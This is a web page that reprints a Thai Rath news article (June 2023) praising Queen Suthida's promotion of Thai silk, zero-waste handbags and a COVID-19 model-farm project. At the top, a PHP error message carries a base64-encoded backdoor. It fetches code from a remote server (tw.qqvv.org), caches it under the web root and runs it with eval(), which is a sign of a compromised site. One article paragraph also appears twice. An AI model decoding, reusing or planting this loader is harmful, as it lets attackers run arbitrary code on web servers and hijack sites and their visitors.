Parse error: syntax error, unexpected 'code' (T_STRING) in data:text/html;base64,PD9waHAgJGZwdD0kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLihpc19kaXIoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL2ltYWdlJyk/Jy9pbWFnZS8nOihpc19kaXIoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL2ltYWdlcycpPycvaW1hZ2VzLyc6KGlzX2RpcigkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLicvaW1nJyk/Jy9pbWcvJzonLy50bXAvJykpKS4nYTMwMGQ0ZGU4ZmI5YmQ4MmFhNTViN2UyMDY2YTlkMjAnOyRkaXI9ZGlybmFtZSgkZnB0KTska3dkPVsnY24ubG9sJywnZ292LmxvbCcsJ29yZy5jZmQnLCdxcXZ2Lm9yZycsJ2NzZW84LmNvbSddOyR1cmw9J2h0dHA6Ly90dy5xcXZ2Lm9yZy90eHQvdHcudHh0JztmdW5jdGlvbiBja3coJGNudCwka3dkKXtmb3JlYWNoKCRrd2QgYXMgJGt3KXtpZihzdHJwb3MoJGNudCwka3cpIT09ZmFsc2Upe3JldHVybiB0cnVlO319cmV0dXJuIGZhbHNlO31mdW5jdGlvbiBmcmMoJHVybCl7JGNoaD1jdXJsX2luaXQoKTtjdXJsX3NldG9wdCgkY2hoLENVUkxPUFRfVVJMLCR1cmwpO2N1cmxfc2V0b3B0KCRjaGgsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTtjdXJsX3NldG9wdCgkY2hoLENVUkxPUFRfVElNRU9VVCwxMCk7Y3VybF9zZXRvcHQoJGNoaCxDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLHRydWUpOyRkYXQ9Y3VybF9leGVjKCRjaGgpO2lmKGN1cmxfZXJybm8oJGNoaCkpeyRkYXQ9ZmFsc2U7fWN1cmxfY2xvc2UoJGNoaCk7cmV0dXJuICRkYXQ7fWZ1bmN0aW9uIGdjdCgkZnB0LCR1cmwsJGRpcil7aWYoIWlzX2RpcigkZGlyKSl7bWtkaXIoJGRpciwwNzc3LHRydWUpO31pZihmaWxlX2V4aXN0cygkZnB0KSYmKCh0aW1lKCktZmlsZW10aW1lKCRmcHQpKTwzNjAwKSl7JGNwcj1maWxlX2dldF9jb250ZW50cygkZnB0KTtyZXR1cm4gZ3p1bmNvbXByZXNzKCRjcHIpO31lbHNleyRjbnQ9ZnJjKCR1cmwpO2lmKCRjbnQhPT1mYWxzZSl7ZmlsZV9wdXRfY29udGVudHMoJGZwdCxnemNvbXByZXNzKCRjbnQpKTt9cmV0dXJuICRjbnQ7fX0kY250PWdjdCgkZnB0LCR1cmwsJGRpcik7aWYoY2t3KCRjbnQsJGt3ZCkpe2V2YWwoJGNudCk7fWVsc2V7JGNudD1mcmMoJHVybCk7aWYoJGNudCE9PWZhbHNlKXtmaWxlX3B1dF9jb250ZW50cygkZnB0LGd6Y29tcHJlc3MoJGNudCkpO2V2YWwoJGNudCk7fX0gPz4=(1) : eval()'d code on line 1
RDP Library

Admin RDPB
03 Jun 2023

สมเด็จพระนางเจ้าฯ พระบรมราชินี ผู้สืบสานและต่อยอดงานแผ่นดิน

ภายใต้บุคลิกสง่างามองอาจเข้มแข็ง โลกพลันสว่างไสวด้วยรอยแย้มพระสรวลอบอุ่นจริงใจของ “สมเด็จพระนางเจ้าสุทิดา พัชรสุธา พิมลลักษณ พระบรมราชินี” ทรงมีส่วนผสมที่ลงตัวระหว่างความแข็งแกร่งและอ่อนโยนตามแบบฉบับ “พระราชินียุคใหม่”

 

พระอัจฉริยภาพและพระปรีชาชาญด้านแฟชั่นของ “สมเด็จพระนางเจ้าสิริกิติ์ พระบรมราชินีนาถ พระบรมราชชนนี พันปีหลวง” คือจุดเริ่มต้นของการฟื้นฟูอนุรักษ์ผ้าไทยและชุดไทยประจำชาติ จนก่อเกิดเป็นโครงการหลวงต่างๆมากมาย ที่ช่วยให้สมบัติล้ำค่าของประเทศยังคงเป็นที่ภาคภูมิใจของคนไทยทั้งชาติ

พระอัจฉริยภาพและพระปรีชาชาญด้านแฟชั่นของ “สมเด็จพระนางเจ้าสิริกิติ์ พระบรมราชินีนาถ พระบรมราชชนนี พันปีหลวง” คือจุดเริ่มต้นของการฟื้นฟูอนุรักษ์ผ้าไทยและชุดไทยประจำชาติ จนก่อเกิดเป็นโครงการหลวงต่างๆมากมาย ที่ช่วยให้สมบัติล้ำค่าของประเทศยังคงเป็นที่ภาคภูมิใจของคนไทยทั้งชาติ นับว่าทรงทำทุกวิถีทางเพื่ออนุรักษ์งานหัตถศิลป์อันล้ำค่าของชาติ ด้วยทรงตระหนักรู้ถึงคุณค่าของมรดกไทยที่สืบทอดมาแต่ครั้งโบราณกาล 

“...ข้าพเจ้ามีความตั้งมั่นที่จะสนองพระเดชพระคุณ พระมหากรุณาธิคุณ ในการสืบสาน รักษา และต่อยอดพระราชปณิธานแห่งสมเด็จพระนางเจ้าสิริกิติ์ พระบรมราชินีนาถ พระบรมราชชนนีพันปีหลวง เหมือนดังที่พระบาทสมเด็จพระเจ้าอยู่หัวทรงตั้งพระราชปณิธานที่จะสืบสาน รักษา และต่อยอด และแผ่ขยายพระบารมีแห่งสมเด็จพระบรมชนกนาถ และสมเด็จพระบรมราชชนนี...” พระราชดำรัสดังกล่าวของ “สมเด็จพระนางเจ้าฯ พระบรมราชินี” สะท้อนได้เป็นอย่างดีถึงพระราชปณิธานอันมุ่งมั่นในการแบ่งเบาพระราชภาระของพระบาทสมเด็จพระเจ้าอยู่หัว

นอกจากจะทรงเลือกฉลองพระองค์ชุดไทยพระราชนิยมได้อย่างสง่างามเหมาะกับพระราชวโรกาสต่างๆ “สมเด็จพระนางเจ้าฯ พระบรมราชินี” ยังทรงเป็น ผู้นำเทรนด์แฟชั่นกระเป๋าทรงถือสไตล์รักษ์โลก ตัดเย็บจากเศษผ้าไหมที่เหลือจากการตัดฉลองพระองค์ ทรงออกแบบเพื่อใช้สอยสำหรับการเสด็จออกปฏิบัติพระราชกรณียกิจในแต่ละวโรกาสเพื่อช่วยลดปริมาณสิ่งของที่เหลือจากการตัดฉลองพระองค์ อีกทั้งเป็นการส่งเสริมการจัดการสิ่งของเหลือใช้ให้เกิดประสิทธิภาพมากยิ่งขึ้น โดยใช้ทักษะด้านการออกแบบทางศิลปะมาทำให้เกิดประโยชน์สูงสุด ถือเป็นพระราชนิยมที่มาจากแนวคิด “Zero Waste” ต่อยอดสู่การใช้พลัง “ซอฟต์เพาเวอร์” เพื่อทำให้ชื่อเสียงของผ้าไทยและงานหัตถศิลป์ไทยขจรขจายไปทั่วโลก

ไม่ว่าจะเป็นผ้าไหมปักซอยไหมน้อย ลายรวงข้าว, ผ้าไหมปักซอยไหมน้อย ลายกอบัว, ผ้าไหมปักซอยไหมน้อย ลายดอกเล็บมือนาง,ผ้าจกไหม ลายข้าวหลามตัด, ผ้าขิดสลับหมี่ ลายกาบแก้วบัวบาน,ผ้าไหมมัดหมี่ ลายหมี่วงอุ้มโคม, ผ้าภูษาไหมยกดอก ลายพุ่มข้าวบิณฑ์, ผ้าภูษาไหมยกดอก ลายดอกดาวเรืองถมเกสร, ผ้าไหมแพรวาลายเกาะ และผ้าไทภูเขาชนเผ่าม้ง ก็ล้วนแต่ได้รับการชุบชีวิตให้กลับมาโลดแล่นเป็นที่ประจักษ์ในความงดงามอีกครั้ง

ยิ่งนานวัน “สมเด็จพระนางเจ้าฯ พระบรมราชินี” ยิ่งได้รับความไว้วางพระราชหฤทัยจาก “พระบาท สมเด็จพระเจ้าอยู่หัว” ให้ถวายงานรับใช้เบื้องพระยุคลบาทอย่างใกล้ชิด ทรงเกื้อหนุนและแบ่งเบาพระราชภารกิจอันหนักอึ้งขององค์พระมหากษัตริย์ ในการสืบสาน รักษา และต่อยอดงานแผ่นดิน เพื่อเสริมสร้างความสุขแก่ปวงประชา ด้วยทรงห่วงใยในสุขภาพพลานามัยของประชาชนชาวไทย และเล็งเห็นถึงผลกระทบทางเศรษฐกิจที่เกิดขึ้นกับประชาชนหลากหลายอาชีพ “พระบาทสมเด็จพระเจ้าอยู่หัว” และ “สมเด็จพระนางเจ้าฯ พระบรมราชินี” ได้พระราชทาน “โครงการฟาร์มตัวอย่างฯ ต้านภัยโควิด-19” และโปรดเกล้าฯให้ใช้พื้นที่ในโครงการฟาร์มตัวอย่างในสมเด็จพระนางเจ้าสิริกิติ์ พระบรมราชินีนาถ พระบรมราชชนนีพันปีหลวง จำนวน 30 ฟาร์ม ในพื้นที่ 17 จังหวัดทั่วประเทศ เพื่อเป็นแหล่งสร้างอาหารที่ปลอดภัย แหล่งสร้างรายได้ และแหล่งสร้างอาชีพที่ยั่งยืน ช่วยแก้ปัญหาให้ผู้ตกงานในยามที่ต้องเผชิญกับวิกฤตการณ์ใหญ่ โดยโปรดเกล้าฯให้น้อมนำความรู้ด้านเกษตรทฤษฎีใหม่ และหลักปรัชญาเศรษฐกิจพอเพียงของ  “พระบาทสมเด็จ พระมหาภูมิพลอดุลยเดชมหาราช บรมนาถบพิตร” มาเป็นแนวทางในการดำเนินงาน เพื่อช่วยจ้างงานสร้างอาชีพให้ประชาชน 

“เราสามารถทำเศรษฐกิจพอเพียงแล้วเรามีอาหารทาน มีรายได้จากผลผลิตที่เราปลูก ถือว่าเป็นตัวอย่างที่ดี และเราไม่ต้องลำบาก ทำให้เรามีงาน มีรายได้ตลอดไป อยากให้ช่วยขยายความรู้นี้ให้กับคนรุ่นถัดๆไป จะได้รู้สึกรักบ้าน และอยากอยู่ถิ่นฐานที่บ้านของตัวเอง สามารถประกอบอาชีพและมีรายได้ ขอส่งกำลังใจให้นะคะ เพราะก็อยากจะช่วยให้ทุกคนมีรายได้ในช่วงโควิด”...พระราชดำรัสดังกล่าวของ “สมเด็จพระนางเจ้าฯ พระบรมราชินี” ที่พระราชทานแก่ประชาชนผู้มาเฝ้าฯรับเสด็จ และสมาชิกโครงการฟาร์มตัวอย่างฯ ต้านภัยโควิด-19 ระหว่างเสด็จเยี่ยมราษฎรในจังหวัดสกลนคร แสดงให้เห็นถึงน้ำพระราชหฤทัยยิ่งใหญ่ที่ทรงห่วงใยปวงชนชาวไทย.

 

.........................................................................

ข้อมูลโดย ไทยรัฐออนไลน์ 3 มิ.ย. 2566 06:34 น.